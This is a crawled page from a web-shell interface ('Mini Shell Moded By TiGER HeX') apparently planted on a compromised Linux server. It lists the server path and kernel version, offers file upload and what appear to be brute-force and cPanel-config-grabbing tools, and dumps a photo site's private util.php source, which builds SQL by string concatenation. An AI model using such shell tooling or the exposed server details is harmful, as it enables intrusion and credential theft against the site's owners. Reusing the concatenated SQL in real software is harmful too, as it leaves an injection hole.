Mini Shell Moded By TiGER HeX
Home
||
Turbo Force
||
B-F Config_Cpanel
Current Path :
/
mnt
/
volume_sfo2_01
/
50mmla
/
includes
/
static
/
Linux midnightridazz 4.19.0-11-cloud-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64
Upload File :
New :
File
Dir
/mnt/volume_sfo2_01/50mmla/includes/static/util.php
<?php /***************************** HTML handlers ************************************************/ function is_authorized(){ if(isset($_SESSION['user_id'])){ return true; } return false; } function is_banned(){ GLOBAL $db; $sql = "SELECT banned FROM 50mm_users WHERE user_id = '".$_SESSION['user_id']."'"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } $row = $db->sql_fetchrow($result); if($row['banned']){ return true; } return false; } function apply_filter($txt){ GLOBAL $db; $sql = "SELECT word FROM 50mm_word_filter"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } $words = Array(); while($row = $db->sql_fetchrow($result)){ $words[] = "/".$row['word']."/i"; } return preg_replace($words, BAD_WORD_STRING, $txt); } function get_client_ip(){ $client_ip = ( !empty($_SERVER['REMOTE_ADDR']) ) ? $_SERVER['REMOTE_ADDR'] : ( ( !empty($HTTP_ENV_VARS['REMOTE_ADDR']) ) ? $HTTP_ENV_VARS['REMOTE_ADDR'] : $REMOTE_ADDR ); return $client_ip; } function get_trim_string($str,$max=30){ $nohtml = strip_tags($str); $len = strlen($nohtml); if($len > $max){ $result = substr($nohtml,0,$max)."..."; }else{ $result = $nohtml; } return $result; } function get_unix_time($dttm2timestamp_in){ // returns unixtime stamp for a given date time string that comes from DB $date_time = explode(" ", $dttm2timestamp_in); $date = explode("-",$date_time[0]); $time = explode(":",$date_time[1]); unset($date_time); list($year, $month, $day)=$date; list($hour,$minute,$second)=$time; return mktime(intval($hour), intval($minute), intval($second), intval($month), intval($day), intval($year)); } //num_pages is the number of pages to show per index function get_pagination($count,$curpg,$ref_url,$per_page,$max_num_pages=20,$show_pg=true){ $total_pages = ceil($count/$per_page); $counter = 0; $page_array = Array();//array of pages ie [1,2,3,4] $pagination_array = Array();//an array of pageArrays //make an array in the following format [index,[pgnum_x,pgnum_y]] ie [0,[1,2,3,4]],[1,[5,6,7,8]] $index_count = 0; for($pgnum=1;$pgnum<=$total_pages;$pgnum++){ $counter++; if($pgnum == $curpg){ $index = $index_count; } array_push($page_array,$pgnum); if(($counter==$max_num_pages) || ($pgnum==$total_pages)){ array_push($pagination_array,$page_array); //make a new array $page_array = Array(); $counter = 0; $index_count++; } } $nav =""; $cur_pages = $pagination_array[$index]; for($i=0;$i<count($cur_pages);$i++){ if($curpg != $cur_pages[$i]){ $url = append_query($ref_url,"pgnum",$cur_pages[$i]); $nav.= "<span style=\"padding-right:5px;\"><a href=\"$url\" class=\"pgNav\">".$cur_pages[$i]."</a></span>"; }else{ $nav.= "<span style=\"padding-right:5px;\" class=\"pgNavOn\">".$cur_pages[$i]."</span>"; } } //archive navigation if(count($pagination_array) > 1){ $next_index = $index+1; if($next_index>count($pagination_array)-1){ $next_index = 0; } $previous_index = $index-1; if($previous_index<0){ $previous_index = count($pagination_array)-1; } if($index < count($pagination_array)-1){ $next_pg = $pagination_array[$next_index][0]; $next_url = append_query($ref_url,"pgnum",$next_pg); $next_link ='<span style="padding-right:5px;"><a href="'.$next_url.'" class="pgNav"><img src="/images/next_pg.gif" border="0" align="texttop"></a></span>'; }else{ $next_link = ""; } if($index != 0){ $previous_pg = $pagination_array[$previous_index][0]; $previous_url = append_query($ref_url,"pgnum",$previous_pg); $previous_link ='<span style="padding-right:5px;"><a href="'.$previous_url.'" class="pgNav"><img src="/images/previous_pg.gif" border="0" align="texttop"></a></span>'; }else{ $previous_link = ""; } }else{ $previous_link = " "; $next_link = " "; } if($show_pg){ $div = "$previous_link $nav $next_link\n"; }else{ $div = "$previous_link $next_link\n"; } return $div; } function get_unique_filename($filename){ $temp = explode(".",$filename); $base = $temp[0]; $ext = $temp[1]; $filename =$base."_".time().".".$ext; return $filename; } function get_html_text($string){ //swap \n lines for '<br>' html eqivalent $string = str_replace("\n", "<br />", $string); return $string; } /* function log_error($pg,$line,$msg){ $handle = fopen(ROOT_DIR."eblog_errors", "a+"); $msg = date("m-d-Y h:i A",time())." Error on page: ".$pg." Line: ".$line." Msg: ".$msg; fwrite($handle,$msg."\n"); fclose($handle); die($msg); } function dir_ls($dirname){ $i = 0; $ls_array = array(); $handle=opendir($dirname); while (false !== ($name = readdir($handle))) { if ($name != "." && $name != "..") { //must use fullpath or is_file will not work correctly $fullpath = $dirname."/".$name; if(is_file($fullpath)){ //we have a file $ls_array[$i] = $name; $i++; } } } closedir($handle); return $ls_array; } function get_thumbs($cat_id,$numcol){ GLOBAL $db; $colcount=0; $table=""; $blurbs=""; $js=""; $sql = "SELECT thumb_id,photo_id,content_data FROM photo_entries p,content c WHERE category_id='$cat_id' AND p.thumb_id=c.content_id ORDER BY c.entry_time"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); $res['error']=$sql_error; $res['result']=false; return $res; } $total_count = $db->sql_numrows($result); if($total_count == 0){ $res['error']="no thumbs"; $res['result']=false; return $res; } $i=0; while ($row = $db->sql_fetchrow($result)){ $thumb_id = $row['thumb_id']; $thumb_src = "/".IMAGE_DIR.$row['content_data']; $photo_id = $row['photo_id']; if($colcount==0){ $table.="<table cellpadding=\"0\" cellspacing=\"0\" border=\"0\">\n"; $table.="<tr>\n"; } $table.="<td class=\"thumb\">\n"; $table.="<a href=\"/view_category.php?cat_id=$cat_id&photo_id=$photo_id\"><img src=\"$thumb_src\" class=\"thumb\" border=\"0\"></a><br>\n"; $table.="</td>\n"; $colcount++; if(($colcount==$numcol)||($i==$total_count-1)){//close table $colcount =0; $table.="</tr>\n"; $table.="</table>\n"; } $i++; } $table.="\n".$js; $res['table'] = $table; $res['blurbs']= $blurbs; $res['result'] = true; return $res; } function get_disk_path($content_type){ if(preg_match("/image/i",$content_type)){ $path = IMAGE_DIR; }elseif(preg_match("/video/i",$content_type)){ $path = VIDEO_DIR; }elseif(preg_match("/audio/i",$content_type)){ $path = AUDIO_DIR; }else{ return false; } return $path; }*/ function validate_content($cur_error,$cur_type,$cur_size,$cur_file,$max_size){ GLOBAL $allowed_file_types; //$type = explode("/",$cur_type); //$cur_gentype = trim($type[0]); //$cur_subtype = trim($type[1]); //$allowed_ext = $allowed_file_types[$cur_type]; if($cur_error==0){ $kb = $cur_size/1024; if($kb > $max_size){ $err = $cur_file." could not be uploaded because it exceeds the maximum allowed file size of ".$max_size." KB."; $res['result'] = false; $res['error'] = $err; return $res; } if(!in_array($cur_type,$allowed_file_types)){ $err = $cur_file." could not be uploaded because it is an unsuppored file type."; $res['result'] = false; $res['error'] = $err; return $res; } $res['result'] = true; $res['error'] = ""; return $res; }else{ if($cur_error==1){ //php max file size $err = "Unable to upload the following file: '".$cur_file."' because it exceeds the max size."; $res['result'] = false; $res['error'] = $err; }elseif($cur_error==4){//no file uploaded $err = "No file uploaded"; $res['result'] = false; $res['error'] = $err; }else{ $err = "Unable to upload file. Error Code = ".$cur_error; $res['result'] = false; $res['error'] = $err; } return $res; } } function append_query($url,$param,$value){ if ( preg_match('/\?/i', $url) ) { return $url."&".$param."=".$value; }else{ return $url."?".$param."=".$value; } } ?>